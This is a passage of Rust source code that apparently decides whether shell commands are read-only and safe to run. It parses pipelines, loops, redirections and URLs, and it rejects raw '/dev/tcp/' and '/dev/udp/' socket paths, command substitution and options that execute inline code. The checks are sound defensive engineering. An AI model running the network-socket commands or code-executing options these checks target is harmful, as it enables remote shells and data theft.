1347 if reads_only {
1348 folders.into_inner()
1349 } else {
1350 Vec::new()
1351 }
1352}
1353
1354fn lister_operands<'a>(program: &str, args: &'a [String]) -> Vec<&'a str> {
1358 let mut operands = Vec::new();
1359 let mut iter = args.iter();
1360 while let Some(arg) = iter.next() {
1361 if program == "find" && (arg.starts_with('-') || matches!(arg.as_str(), "(" | "!")) {
1362 break;
1363 }
1364 if matches!(
1365 (program, arg.as_str()),
1366 ("tree", "-L" | "-I" | "-P") | ("du", "-d")
1367 ) {
1368 iter.next();
1369 continue;
1370 }
1371 if !arg.starts_with('-') {
1372 operands.push(arg.as_str());
1373 }
1374 }
1375 operands
1376}
1377
1378fn folder_name(operand: &str) -> Option<String> {
1380 let path = operand.trim_end_matches('/');
1381 if path.is_empty()
1382 || path.starts_with('~')
1383 || path
1384 .chars()
1385 .any(|c| matches!(c, '$' | '*' | '?' | '[' | '{'))
1386 {
1387 return None;
1388 }
1389 let name = if path.starts_with('/') {
1390 path.rsplit('/').next()?
1391 } else {
1392 path.split('/')
1393 .find(|part| !part.is_empty() && *part != ".")?
1394 };
1395 (!matches!(name, "" | "." | "..")).then(|| name.to_string())
1396}
1397
1398fn reads_only_local_sites(program: &str, args: &[String]) -> bool {
1401 let spec = match program {
1402 "curl" => &CURL,
1403 "wget" => &WGET,
1404 _ => return false,
1405 };
1406 let Some(parsed) = parse_options(spec, args) else {
1407 return false;
1408 };
1409 if parsed
1410 .values
1411 .iter()
1412 .any(|(_, value)| value.contains("%output{"))
1413 {
1414 return false;
1415 }
1416 let urls: Vec<&String> = parsed
1417 .positionals
1418 .iter()
1419 .chain(
1420 parsed
1421 .values
1422 .iter()
1423 .filter(|(role, _)| *role == OptionValue::Url)
1424 .map(|(_, value)| value),
1425 )
1426 .collect();
1427 !urls.is_empty()
1428 && urls
1429 .iter()
1430 .all(|url| strict_url(url).is_some() && crate::web::local_site_key(url).is_some())
1431}
1432
1433fn every_segment(command: &str, ok: &dyn Fn(&str, &[String]) -> bool) -> bool {
1440 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
1441 return false;
1442 }
1443 let scanned = scan(&command.replace("\\\n", " "));
1445 if scanned.hidden_syntax || !scanned.input_targets.is_empty() {
1448 return false;
1449 }
1450 let Some(commands) = simple_commands(&scanned) else {
1451 return false;
1452 };
1453 !commands.is_empty()
1454 && commands.iter().all(|tokens| {
1455 let tokens = without_display_env(tokens);
1456 let Some(program) = tokens.first() else {
1457 return false;
1458 };
1459 !is_env_assignment(program)
1460 && program_path_ok(program)
1461 && ok(basename(program), &tokens[1..])
1462 })
1463}
1464
1465fn program_path_ok(program: &str) -> bool {
1467 !program.contains('/')
1468 || program
1469 .rsplit_once('/')
1470 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir))
1471}
1472
1473#[derive(Debug, Clone, PartialEq, Eq)]
1475enum ShellCommand {
1476 Simple(Vec<String>),
1478 Subshell(Vec<ShellCommand>),
1480 For {
1482 var: String,
1483 words: Vec<String>,
1484 body: Vec<ShellCommand>,
1485 },
1486}
1487
1488#[derive(Debug, Clone, PartialEq, Eq)]
1490enum Piece {
1491 Words(Vec<String>),
1493 Open,
1494 Close,
1495 Separator(char),
1497}
1498
1499#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1501enum ListEnd {
1502 Input,
1503 Subshell,
1504 Loop,
1505}
1506
1507const UNMODELLED_KEYWORDS: &[&str] = &[
1510 "if", "then", "elif", "else", "fi", "while", "until", "case", "esac", "select", "function",
1511 "{", "}", "!", "[[", "]]", "do", "in", "coproc",
1512];
1513
1514struct ShellParser {
1515 pieces: Vec<Piece>,
1516 pos: usize,
1517}
1518
1519impl ShellParser {
1520 fn list(&mut self, end: ListEnd) -> Option<Vec<ShellCommand>> {
1521 let mut commands = Vec::new();
1522 let mut ended = false;
1524 loop {
1525 let Some(piece) = self.pieces.get(self.pos).cloned() else {
1526 return (end == ListEnd::Input).then_some(commands);
1527 };
1528 match piece {
1529 Piece::Separator(_) => {
1530 ended = false;
1531 self.pos += 1;
1532 }
1533 Piece::Close => {
1534 if end != ListEnd::Subshell {
1535 return None;
1536 }
1537 self.pos += 1;
1538 return Some(commands);
1539 }
1540 _ if ended => return None,
1541 Piece::Open => {
1542 self.pos += 1;
1543 let inner = self.list(ListEnd::Subshell)?;
1544 if matches!(self.pieces.get(self.pos), Some(Piece::Words(words)) if words.is_empty())
1547 {
1548 self.pos += 1;
1549 }
1550 commands.push(ShellCommand::Subshell(inner));
1551 ended = true;
1552 }
1553 Piece::Words(words) => {
1554 let first = words.first()?.as_str();
1555 if first == "done" {
1556 if end != ListEnd::Loop || words.len() != 1 {
1557 return None;
1558 }
1559 self.pos += 1;
1560 return Some(commands);
1561 }
1562 if first == "for" {
1563 commands.push(self.for_loop(&words)?);
1564 } else if UNMODELLED_KEYWORDS.contains(&first)
1565 || without_display_env(&words)
1566 .first()
1567 .map_or(first, String::as_str)
1568 .contains('$')
1569 {
1570 return None;
1574 } else {
1575 self.pos += 1;
1576 commands.push(ShellCommand::Simple(words));
1577 }
1578 ended = true;
1579 }
1580 }
1581 }
1582 }
1583
1584 fn for_loop(&mut self, header: &[String]) -> Option<ShellCommand> {
1587 let var = header.get(1)?;
1588 let valid_name = var
1589 .chars()
1590 .next()
1591 .is_some_and(|c| c == '_' || c.is_ascii_alphabetic())
1592 && var.chars().all(|c| c == '_' || c.is_ascii_alphanumeric());
1593 if !valid_name || header.get(2).map(String::as_str) != Some("in") {
1594 return None;
1595 }
1596 let words = header[3..].to_vec();
1597 self.pos += 1;
1598 let mut separated = false;
1599 while let Some(Piece::Separator(sep)) = self.pieces.get(self.pos) {
1600 if !matches!(sep, ';' | '\n') {
1601 return None;
1602 }
1603 separated = true;
1604 self.pos += 1;
1605 }
1606 let Some(Piece::Words(opening)) = self.pieces.get(self.pos).cloned() else {
1607 return None;
1608 };
1609 if !separated || opening.first().map(String::as_str) != Some("do") {
1610 return None;
1611 }
1612 if opening.len() == 1 {
1613 self.pos += 1;
1614 } else {
1615 self.pieces[self.pos] = Piece::Words(opening[1..].to_vec());
1616 }
1617 let body = self.list(ListEnd::Loop)?;
1618 Some(ShellCommand::For {
1619 var: var.clone(),
1620 words,
1621 body,
1622 })
1623 }
1624}
1625
1626fn parse_shell(scanned: &Scan) -> Option<Vec<ShellCommand>> {
1630 let mut pieces = Vec::new();
1631 for (index, segment) in scanned.segments.iter().enumerate() {
1632 if !segment.trim().is_empty() {
1633 let words = strip_redirections(shell_words::split(segment).ok()?);
1634 pieces.push(Piece::Words(words));
1635 }
1636 if let Some(&separator) = scanned.separators.get(index) {
1637 pieces.push(match separator {
1638 '(' => Piece::Open,
1639 ')' => Piece::Close,
1640 other => Piece::Separator(other),
1641 });
1642 }
1643 }
1644 for (index, piece) in pieces.iter().enumerate() {
1646 if matches!(piece, Piece::Words(words) if words.is_empty())
1647 && !matches!(index.checked_sub(1).map(|i| &pieces[i]), Some(Piece::Close))
1648 {
1649 return None;
1650 }
1651 }
1652 ShellParser { pieces, pos: 0 }.list(ListEnd::Input)
1653}
1654
1655fn substitute_var(token: &str, var: &str, value: &str) -> String {
1657 let braced = format!("${{{var}}}");
1658 let bare = format!("${var}");
1659 let mut out = String::with_capacity(token.len());
1660 let mut rest = token;
1661 while let Some(index) = rest.find('$') {
1662 out.push_str(&rest[..index]);
1663 let tail = &rest[index..];
1664 if let Some(after) = tail.strip_prefix(&braced) {
1665 out.push_str(value);
1666 rest = after;
1667 } else if let Some(after) = tail
1668 .strip_prefix(&bare)
1669 .filter(|after| !after.starts_with(|c: char| c == '_' || c.is_ascii_alphanumeric()))
1670 {
1671 out.push_str(value);
1672 rest = after;
1673 } else {
1674 out.push('$');
1675 rest = &tail[1..];
1676 }
1677 }
1678 out.push_str(rest);
1679 out
1680}
1681
1682fn bind_var(commands: &[ShellCommand], var: &str, value: &str) -> Vec<ShellCommand> {
1684 commands
1685 .iter()
1686 .map(|command| match command {
1687 ShellCommand::Simple(tokens) => ShellCommand::Simple(
1688 tokens
1689 .iter()
1690 .map(|token| substitute_var(token, var, value))
1691 .collect(),
1692 ),
1693 ShellCommand::Subshell(inner) => ShellCommand::Subshell(bind_var(inner, var, value)),
1694 ShellCommand::For {
1695 var: inner_var,
1696 words,
1697 body,
1698 } => ShellCommand::For {
1699 var: inner_var.clone(),
1700 words: words
1701 .iter()
1702 .map(|word| substitute_var(word, var, value))
1703 .collect(),
1704 body: if inner_var == var {
1706 body.clone()
1707 } else {
1708 bind_var(body, var, value)
1709 },
1710 },
1711 })
1712 .collect()
1713}
1714
1715fn flatten_commands(commands: &[ShellCommand], out: &mut Vec<Vec<String>>) -> Option<()> {
1721 for command in commands {
1722 match command {
1723 ShellCommand::Simple(tokens) => out.push(tokens.clone()),
1724 ShellCommand::Subshell(inner) => flatten_commands(inner, out)?,
1725 ShellCommand::For { var, words, body } => {
1726 if words.is_empty() {
1727 flatten_commands(body, out)?;
1728 }
1729 for word in words {
1730 if word.is_empty()
1731 || word.starts_with('-')
1732 || word
1733 .chars()
1734 .any(|c| c.is_whitespace() || matches!(c, '$' | '`' | '"' | '\''))
1735 {
1736 return None;
1737 }
1738 flatten_commands(&bind_var(body, var, word), out)?;
1739 }
1740 }
1741 }
1742 }
1743 Some(())
1744}
1745
1746fn simple_commands(scanned: &Scan) -> Option<Vec<Vec<String>>> {
1750 let mut out = Vec::new();
1751 flatten_commands(&parse_shell(scanned)?, &mut out)?;
1752 Some(out)
1753}
1754
1755fn runs_inline_code(program: &str, args: &[String]) -> bool {
1758 let option = |names: &[&str]| {
1759 args.iter().any(|arg| {
1760 names.iter().any(|name| match arg.strip_prefix(name) {
1761 Some(_) if name.len() == 2 => true,
1763 Some(rest) => rest.is_empty() || rest.starts_with('='),
1764 None => false,
1765 })
1766 })
1767 };
1768 match program {
1769 "git" => {
1772 option(&["-c", "--config-env", "--exec"])
1773 || (args.first().is_some_and(|sub| sub == "rebase") && option(&["-x"]))
1774 }
1775 "cargo" => option(&["--config"]),
1776 "make" => option(&["--eval", "-E"]),
1777 "go" => option(&["-toolexec", "--toolexec", "-exec", "--exec"]),
1778 "python" | "python3" | "node" => args.first().is_some_and(|script| {
1780 script == "-" || script == "/dev/stdin" || script.starts_with("/dev/fd/")
1781 }),
1782 _ => false,
1783 }
1784}
1785
1786fn local_work_args_ok(program: &str, args: &[String]) -> bool {
1787 if runs_inline_code(program, args) {
1788 return false;
1789 }
1790 if let Some((_, subcommands)) = LOCAL_WORK_SUBCOMMANDS
1791 .iter()
1792 .find(|(name, _)| *name == program)
1793 {
1794 let rest = match program {
1797 "cargo" => args
1798 .iter()
1799 .skip_while(|arg| arg.starts_with('+'))
1800 .collect::<Vec<_>>(),
1801 _ => args.iter().collect(),
1802 };
1803 return rest
1804 .first()
1805 .is_some_and(|subcommand| subcommands.contains(&subcommand.as_str()));
1806 }
1807 match program {
1808 "python" | "python3" | "node" => args.first().is_some_and(|arg| !arg.starts_with('-')),
1810 "find" => !args
1811 .iter()
1812 .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())),
1813 "ddev" => ddev_query_ok(args),
1814 _ if LOCAL_WORK_PROGRAMS.contains(&program) => true,
1815 _ if OBSERVATION_PROGRAMS.contains(&program) => observation_args_ok(program, args),
1816 _ if in_powershell_table(POWERSHELL_LOCAL_WORK, program)
1817 || in_powershell_table(POWERSHELL_DELETES, program) =>
1818 {
1819 powershell_args_plain(args)
1820 }
1821 _ => is_powershell_observation(program, args),
1822 }
1823}
1824
1825fn basename(program: &str) -> &str {
1826 let name = program.rsplit('/').next().unwrap_or(program);
1827 if cfg!(windows)
1830 && let Some(stem) = name
1831 .len()
1832 .checked_sub(4)
1833 .filter(|&cut| name.is_char_boundary(cut) && name[cut..].eq_ignore_ascii_case(".exe"))
1834 .map(|cut| &name[..cut])
1835 {
1836 return stem;
1837 }
1838 if cfg!(windows)
1841 && [
1842 "curl",
1843 "wget",
1844 "iwr",
1845 "irm",
1846 "invoke-webrequest",
1847 "invoke-restmethod",
1848 ]
1849 .iter()
1850 .any(|alias| alias.eq_ignore_ascii_case(name))
1851 {
1852 return "invoke-webrequest";
1853 }
1854 name
1855}
1856
1857fn is_display_env_assignment(token: &str) -> bool {
1862 is_env_assignment(token)
1863 && token.split_once('=').is_some_and(|(name, _)| {
1864 matches!(
1865 name,
1866 "TZ" | "LANG"
1867 | "LANGUAGE"
1868 | "LC_ALL"
1869 | "COLUMNS"
1870 | "LINES"
1871 | "NO_COLOR"
1872 | "CLICOLOR"
1873 | "TERM"
1874 ) || (name.starts_with("LC_") && name[3..].chars().all(|ch| ch.is_ascii_uppercase()))
1875 })
1876}
1877
1878fn without_display_env(tokens: &[String]) -> &[String] {
1881 let start = tokens
1882 .iter()
1883 .take_while(|token| is_display_env_assignment(token))
1884 .count();
1885 &tokens[start..]
1886}
1887
1888fn is_env_assignment(token: &str) -> bool {
1889 token.split_once('=').is_some_and(|(name, _)| {
1890 !name.is_empty()
1891 && name.chars().enumerate().all(|(index, ch)| {
1892 ch == '_' || ch.is_ascii_alphanumeric() && (index > 0 || !ch.is_ascii_digit())
1893 })
1894 })
1895}
1896
1897struct Scan {
1899 segments: Vec<String>,
1900 unsafe_syntax: bool,
1904 hidden_syntax: bool,
1909 writes_file: bool,
1911 input_targets: Vec<String>,
1915 output_targets: Vec<String>,
1918 separators: Vec<char>,
1922}
1923
1924fn redirect_target(chars: &[char], mut j: usize) -> String {
1925 while chars.get(j).is_some_and(|c| c.is_whitespace()) {
1926 j += 1;
1927 }
1928 chars[j.min(chars.len())..]
1929 .iter()
1930 .take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>'))
1931 .collect()
1932}
1933
1934fn scan(command: &str) -> Scan {
1935 let command = shell_text(command);
1936 let chars: Vec<char> = command.chars().collect();
1937 let mut segments = Vec::new();
1938 let mut cur = String::new();
1939 let mut unsafe_syntax = false;
1940 let mut hidden_syntax = false;
1941 let mut writes_file = false;
1942 let mut input_targets = Vec::new();
1943 let mut output_targets = Vec::new();
1944 let mut separators = Vec::new();
1945 let (mut in_single, mut in_double) = (false, false);
1946 let mut i = 0;
1947 while i < chars.len() {
1948 let c = chars[i];
1949 if in_single {
1950 hidden_syntax |= c == '\n';
1951 in_single = c != '\'';
1952 cur.push(c);
1953 i += 1;
1954 continue;
1955 }
1956 let next = chars.get(i + 1).copied();
1957 match c {
1958 '\\' => {
1959 cur.push(c);
1960 if let Some(n) = next {
1961 cur.push(n);
1962 }
1963 i += 2;
1964 continue;
1965 }
1966 '\n' => {
1967 unsafe_syntax = true;
1968 segments.push(std::mem::take(&mut cur));
1969 separators.push(c);
1970 }
1971 '\'' if !in_double => {
1972 in_single = true;
1973 cur.push(c);
1974 }
1975 '"' => {
1976 in_double = !in_double;
1977 cur.push(c);
1978 }
1979 '`' => {
1981 unsafe_syntax = true;
1982 hidden_syntax = true;
1983 cur.push(c);
1984 }
1985 '$' if next == Some('(') || (next == Some('\'') && !in_double) => {
1986 unsafe_syntax = true;
1987 hidden_syntax = true;
1988 cur.push(c);
1989 }
1990 _ if in_double => cur.push(c),
1991 '#' if cur.chars().last().is_none_or(|p| p.is_whitespace()) => {
1992 unsafe_syntax = true;
1993 hidden_syntax = true;
1994 cur.push(c);
1995 }
1996 ';' | '(' | ')' => {
1997 if c != ';' {
1998 unsafe_syntax = true;
1999 }
2000 segments.push(std::mem::take(&mut cur));
2001 separators.push(c);
2002 }
2003 '|' | '&' if !(c == '&' && next == Some('>')) => {
2004 segments.push(std::mem::take(&mut cur));
2005 separators.push(c);
2006 }
2007 '&' => cur.push(c),
2008 '<' => {
2009 let target = redirect_target(&chars, i + 1);
2010 let word: String = cur
2013 .chars()
2014 .rev()
2015 .take_while(|c| !c.is_whitespace())
2016 .collect();
2017 let numbered = !word.is_empty() && word.chars().all(|d| d.is_ascii_digit());
2018 if numbered
2019 || matches!(next, Some('<') | Some('(') | Some('>'))
2020 || target.is_empty()
2021 {
2022 unsafe_syntax = true;
2023 hidden_syntax = true;
2024 } else if target != "/dev/null" {
2025 input_targets.push(target);
2026 }
2027 cur.push(c);
2028 }
2029 '>' => {
2030 let mut j = i + 1;
2031 if matches!(chars.get(j), Some('>') | Some('|')) {
2032 j += 1;
2033 }
2034 let mut dup = false;
2035 if chars.get(j) == Some(&'&') {
2036 let word = redirect_target(&chars, j + 1);
2040 let digits = word.trim_end_matches('-');
2041 dup = word == "-"
2042 || (!digits.is_empty()
2043 && digits.chars().all(|d| d.is_ascii_digit())
2044 && word.len() - digits.len() <= 1);
2045 j += 1;
2046 }
2047 if next == Some('(') {
2048 unsafe_syntax = true;
2049 hidden_syntax = true;
2050 } else if !dup {
2051 let target = redirect_target(&chars, j);
2052 if target != "/dev/null" {
2053 writes_file = true;
2054 if !is_standard_stream(&target) {
2055 output_targets.push(target);
2056 }
2057 }
2058 }
2059 cur.extend(&chars[i..j]);
2060 i = j;
2061 continue;
2062 }
2063 _ => cur.push(c),
2064 }
2065 i += 1;
2066 }
2067 if in_single || in_double {
2068 unsafe_syntax = true;
2069 hidden_syntax = true;
2070 }
2071 segments.push(cur);
2072 Scan {
2073 segments,
2074 unsafe_syntax,
2075 hidden_syntax,
2076 writes_file,
2077 input_targets,
2078 output_targets,
2079 separators,
2080 }
2081}
2082
2083fn is_standard_stream(target: &str) -> bool {
2085 matches!(target, "/dev/stdout" | "/dev/stderr")
2086 || target
2087 .strip_prefix("/dev/fd/")
2088 .is_some_and(|fd| !fd.is_empty() && fd.chars().all(|c| c.is_ascii_digit()))
2089}
2090
2091fn is_redirect_word(token: &str) -> bool {
2092 let t = token.trim_start_matches(|c: char| c.is_ascii_digit());
2093 t.starts_with('>') || t.starts_with('<') || t.starts_with("&>")
2094}
2095
2096fn strip_redirections(tokens: Vec<String>) -> Vec<String> {
2099 let mut out = Vec::new();
2100 let mut iter = tokens.into_iter();
2101 while let Some(token) = iter.next() {
2102 if is_redirect_word(&token) {
2103 let bare = token.trim_start_matches(|c: char| c.is_ascii_digit());
2104 if bare.chars().all(|c| matches!(c, '>' | '<' | '&' | '|')) {
2105 iter.next();
2106 }
2107 continue;
2108 }
2109 out.push(token);
2110 }
2111 out
2112}
2113
2114fn is_observation_only(command: &str) -> bool {
2115 is_observation(command, false)
2116}
2117
2118pub fn is_observation_reading_input(command: &str) -> bool {
2123 is_observation(command, true)
2124}
2125
2126fn is_observation(command: &str, allow_input_redirects: bool) -> bool {
2127 let scanned = scan(command);
2128 if (!allow_input_redirects && !scanned.input_targets.is_empty())
2129 || scanned.hidden_syntax
2130 || scanned.separators.contains(&'\n')
2131 || scanned.writes_file
2132 || command.contains("/dev/tcp/")
2133 || command.contains("/dev/udp/")
2134 {
2135 return false;
2136 }
2137 let Some(commands) = simple_commands(&scanned) else {
2138 return false;
2139 };
2140 !commands.is_empty() && commands.iter().all(|tokens| observing_command(tokens))
2141}
2142
2143fn observing_command(tokens: &[String]) -> bool {
2145 let tokens = without_display_env(tokens);
2146 let Some(first) = tokens.first() else {
2147 return false;
2148 };
2149 if is_env_assignment(first) {
2150 return false;
2151 }
2152 let tokens = if first == "command" {
2154 &tokens[1..]
2155 } else {
2156 tokens
2157 };
2158 let Some(program) = tokens.first() else {
2159 return false;
2160 };
2161 let name = basename(program);
2162 program_path_ok(program) && is_program_observation(name, &tokens[1..])
2163}
2164
2165fn tree_args_ok(args: &[String]) -> bool {
2168 let mut iter = args.iter();
2169 while let Some(arg) = iter.next() {
2170 if matches!(arg.as_str(), "-L" | "-I" | "-P") {
2171 if iter.next().is_none() {
2172 return false;
2173 }
2174 } else if let Some(long) = arg.strip_prefix("--") {
2175 if !matches!(long, "noreport" | "dirsfirst") {
2176 return false;
2177 }
2178 } else if let Some(cluster) = arg.strip_prefix('-')
2179 && (cluster.is_empty() || !cluster.chars().all(|c| "adfshDCn".contains(c)))
2180 {
2181 return false;
2182 }
2183 }
2184 true
2185}
2186
2187fn short_cluster_has(arg: &str, letters: &[char]) -> bool {
2188 arg.starts_with('-') && !arg.starts_with("--") && arg.chars().any(|c| letters.contains(&c))
2189}
2190
2191fn date_args_observe(args: &[String]) -> bool {
2194 let is_format = |arg: &String| arg.starts_with('+');
2195 args.iter().filter(|arg| is_format(arg)).count() <= 1
2196 && args.iter().all(|arg| {
2197 is_format(arg)
2198 || matches!(
2199 arg.as_str(),
2200 "-u" | "--utc" | "--universal" | "-R" | "--rfc-email"
2201 )
2202 || arg.starts_with("-I")
2203 || arg == "--iso-8601"
2204 || arg.starts_with("--iso-8601=")
2205 })
2206}
2207
2208fn find_args_observe(args: &[String]) -> bool {
2212 let mut index = 0;
2213 while let Some(arg) = args.get(index) {
2214 match arg.as_str() {
2215 "-exec" | "-execdir" => {
2216 let rest = &args[index + 1..];
2217 let Some(end) = rest
2218 .iter()
2219 .position(|token| matches!(token.as_str(), ";" | "\\;" | "+"))
2220 else {
2221 return false;
2222 };
2223 if end == 0 || !observing_command(&rest[..end]) {
2224 return false;
2225 }
2226 index += end + 2;
2227 }
2228 flag if FIND_MUTATING_FLAGS.contains(&flag) => return false,
2229 _ => index += 1,
2230 }
2231 }
2232 true
2233}
2234
2235fn sysctl_args_read(args: &[String]) -> bool {
2238 args.iter().all(|arg| match arg.strip_prefix('-') {
2239 Some(long) if long.starts_with('-') => {
2240 matches!(long, "-all" | "-values" | "-names")
2241 }
2242 Some(cluster) => {
2243 !cluster.is_empty() && cluster.chars().all(|ch| "naAehNqxbdoX".contains(ch))
2244 }
2245 None => {
2246 !arg.contains('=')
2247 && arg
2248 .chars()
2249 .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | '-'))
2250 }
2251 })
2252}
2253
2254fn top_samples_and_exits(args: &[String]) -> bool {
2257 let positive = |value: Option<&String>| {
2258 value.is_some_and(|value| value.parse::<u32>().is_ok_and(|n| n >= 1))
2259 };
2260 let mac = args
2261 .iter()
2262 .position(|arg| arg == "-l")
2263 .is_some_and(|index| positive(args.get(index + 1)));
2264 let batch = args.iter().any(|arg| arg == "-b" || arg == "-bn1")
2265 && (args.iter().any(|arg| arg == "-bn1")
2266 || args
2267 .iter()
2268 .position(|arg| arg == "-n")
2269 .is_some_and(|index| positive(args.get(index + 1))));
2270 mac || batch
2271}
2272
2273fn is_sleep_duration(arg: &str) -> bool {
2275 let number = arg.strip_suffix(['s', 'm', 'h', 'd']).unwrap_or(arg);
2276 !number.is_empty()
2277 && number.chars().all(|ch| ch.is_ascii_digit() || ch == '.')
2278 && number.parse::<f64>().is_ok_and(f64::is_finite)
2279}
2280
2281fn observation_args_ok(program: &str, args: &[String]) -> bool {
2282 let any = |pred: &dyn Fn(&str) -> bool| args.iter().any(|arg| pred(arg));
2283 match program {
2284 "find" => find_args_observe(args),
2285 "sysctl" => sysctl_args_read(args),
2286 "top" => top_samples_and_exits(args),
2287 "rg" => !any(&|a| {
2288 a == "--pre"
2289 || a.starts_with("--pre=")
2290 || a.starts_with("--pre-glob")
2291 || a.starts_with("--hostname-bin")
2292 || a == "--search-zip"
2293 || short_cluster_has(a, &['z'])
2294 }),
2295 "sort" => !any(&|a| {
2296 a.starts_with("--compress-program")
2297 || a.starts_with("--output")
2298 || short_cluster_has(a, &['o'])
2299 }),
2300 "uniq" => {
2302 args.iter()
2303 .filter(|arg| !arg.starts_with('-') || arg.as_str() == "-")
2304 .count()
2305 < 2
2306 }
2307 "tree" => tree_args_ok(args),
2308 "date" => date_args_observe(args),
2309 "hostname" => args
2311 .iter()
2312 .all(|arg| matches!(arg.as_str(), "-s" | "-f" | "--short" | "--fqdn")),
2313 "sleep" => !args.is_empty() && args.iter().all(|arg| is_sleep_duration(arg)),
2316 "file" => !any(&|a| {
2317 a == "--compile" || a.starts_with("--magic-file") || short_cluster_has(a, &['C', 'm'])
2318 }),
2319 "git" => {
2320 let mut index = 0;
2321 while let Some(arg) = args.get(index).filter(|arg| arg.starts_with('-')) {
2322 if arg == "-C" || arg.starts_with("--git-dir") || arg.starts_with("--work-tree") {
2325 return false;
2326 }
2327 if arg == "-c" || arg.starts_with("--config-env") || arg.starts_with("--exec-path")
2328 {
2329 return false;
2330 }
2331 index += 1;
2332 }
2333 let Some(subcommand) = args.get(index) else {
2334 return false;
2335 };
2336 let rest = &args[index + 1..];
2337 if rest
2338 .iter()
2339 .any(|a| a == "--ext-diff" || a.starts_with("--output") || a == "--textconv")
2340 {
2341 return false;
2342 }
2343 if GIT_OBSERVATION_SUBCOMMANDS.contains(&subcommand.as_str()) {
2344 return true;
2345 }
2346 subcommand == "branch"
2347 && rest.iter().all(|arg| {
2348 matches!(
2349 arg.as_str(),
2350 "--list" | "-a" | "-r" | "-v" | "--show-current"
2351 )
2352 })
2353 }
2354 _ => true,
2355 }
2356}
2357
2358fn substitution_bodies(command: &str) -> Vec<String> {
2361 let chars: Vec<char> = command.chars().collect();
2362 let mut bodies = Vec::new();
2363 let mut in_single = false;
2364 let mut i = 0;
2365 while i < chars.len() {
2366 let c = chars[i];
2367 if c == '\'' {
2368 in_single = !in_single;
2369 } else if !in_single && c == '\\' {
2370 i += 1;
2371 } else if !in_single && c == '$' && chars.get(i + 1) == Some(&'(') {
2372 let mut depth = 1;
2373 let mut j = i + 2;
2374 while j < chars.len() && depth > 0 {
2375 match chars[j] {
2376 '(' => depth += 1,
2377 ')' => depth -= 1,
2378 _ => {}
2379 }
2380 j += 1;
2381 }
2382 let end = if depth == 0 { j - 1 } else { j };
2383 bodies.push(chars[i + 2..end].iter().collect());
2384 } else if !in_single
2385 && c == '`'
2386 && let Some(len) = chars[i + 1..].iter().position(|&x| x == '`')
2387 {
2388 bodies.push(chars[i + 1..i + 1 + len].iter().collect());
2389 i += len + 1;
2390 }
2391 i += 1;
2392 }
2393 bodies
2394}
2395
2396fn expanded_commands(command: &str) -> Vec<Vec<String>> {
2400 let mut out = Vec::new();
2401 collect_commands(command, 0, &mut out);
2402 out
2403}
2404
2405const MAX_DEPTH: usize = 4;
2406
2407fn collect_commands(command: &str, depth: usize, out: &mut Vec<Vec<String>>) {
2408 if depth > MAX_DEPTH {
2409 return;
2410 }
2411 for segment in scan(command).segments {
2412 if segment.trim().is_empty() {
2413 continue;
2414 }
2415 let tokens = shell_words::split(&segment)
2416 .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
2417 push_with_wrappers(strip_redirections(tokens), depth, out);
2418 }
2419 for body in substitution_bodies(command) {
2420 collect_commands(&body, depth + 1, out);
2421 }
2422 for invocation in structural_shell_invocations(command) {
2423 let mut tokens = vec![invocation.program];
2424 tokens.extend(invocation.arguments);
2425 push_with_wrappers(tokens, depth, out);
2426 }
2427}
2428
2429fn push_with_wrappers(mut tokens: Vec<String>, depth: usize, out: &mut Vec<Vec<String>>) {
2430 if depth > MAX_DEPTH || tokens.len() > 64 {
2431 return;
2432 }
2433 while tokens.first().is_some_and(|t| is_env_assignment(t)) {
2434 tokens.remove(0);
2435 }
2436 let Some(first) = tokens.first() else {
2437 return;
2438 };
2439 let program = basename(first).to_string();
2440 out.push(tokens.clone());
2441 if WRAPPERS.contains(&program.as_str()) {
2442 for start in 1..tokens.len() {
2443 push_with_wrappers(tokens[start..].to_vec(), depth + 1, out);
2444 }
2445 }
2446 if program == "find" {
2447 for (index, token) in tokens.iter().enumerate() {
2448 if matches!(token.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir") {
2449 push_with_wrappers(tokens[index + 1..].to_vec(), depth + 1, out);
2450 }
2451 }
2452 }
2453}
2454
2455pub fn egress_effect(scheme: &str, host: &str, port: Option<u16>) -> Option<EffectKey> {
2493 let host = host.trim();
2494 let bare = match host.strip_prefix('[') {
2495 Some(inner) => {
2497 let inner = inner.strip_suffix(']')?;
2498 inner.parse::<std::net::Ipv6Addr>().ok()?;
2499 inner
2500 }
2501 None => host,
2502 };
2503 if !valid_host(bare) {
2504 return None;
2505 }
2506 Some(EffectKey::egress(scheme, bare, port))
2507}
2508
2509fn valid_host(host: &str) -> bool {
2513 if host.parse::<std::net::Ipv4Addr>().is_ok() || host.parse::<std::net::Ipv6Addr>().is_ok() {
2514 return true;
2515 }
2516 let name = host.strip_suffix('.').unwrap_or(host);
2517 !name.is_empty()
2518 && name.len() <= 253
2519 && name.split('.').all(|label| {
2520 !label.is_empty()
2521 && label.len() <= 63
2522 && !label.starts_with('-')
2523 && !label.ends_with('-')
2524 && label.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
2525 })
2526}
2527
2528fn scheme_default_port(scheme: &str) -> Option<u16> {
2530 match scheme {
2531 "git" => Some(9418),
2532 "rsync" => Some(873),
2533 "ssh" | "git+ssh" | "ssh+git" | "sftp" | "scp" => Some(22),
2534 _ => None,
2535 }
2536}
2537
2538pub fn url_effect(raw: &str) -> Option<EffectKey> {
2547 let url = strict_url(raw)?;
2548 url_host_effect(&url)
2549}
2550
2551fn strict_url(raw: &str) -> Option<reqwest::Url> {
2552 if raw.is_empty()
2553 || !raw.is_ascii()
2554 || raw.chars().any(|c| {
2555 c.is_ascii_whitespace()
2556 || c.is_ascii_control()
2557 || matches!(c, '\\' | '$' | '`' | '"' | '\'' | '{' | '}' | '*' | ',')
2558 })
2559 {
2560 return None;
2561 }
2562 let (scheme, rest) = raw.split_once("://")?;
2563 let mut scheme_chars = scheme.chars();
2564 if !scheme_chars.next()?.is_ascii_alphabetic()
2565 || !scheme_chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.'))
2566 {
2567 return None;
2568 }
2569 let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
2570 let (authority, tail) = rest.split_at(authority_end);
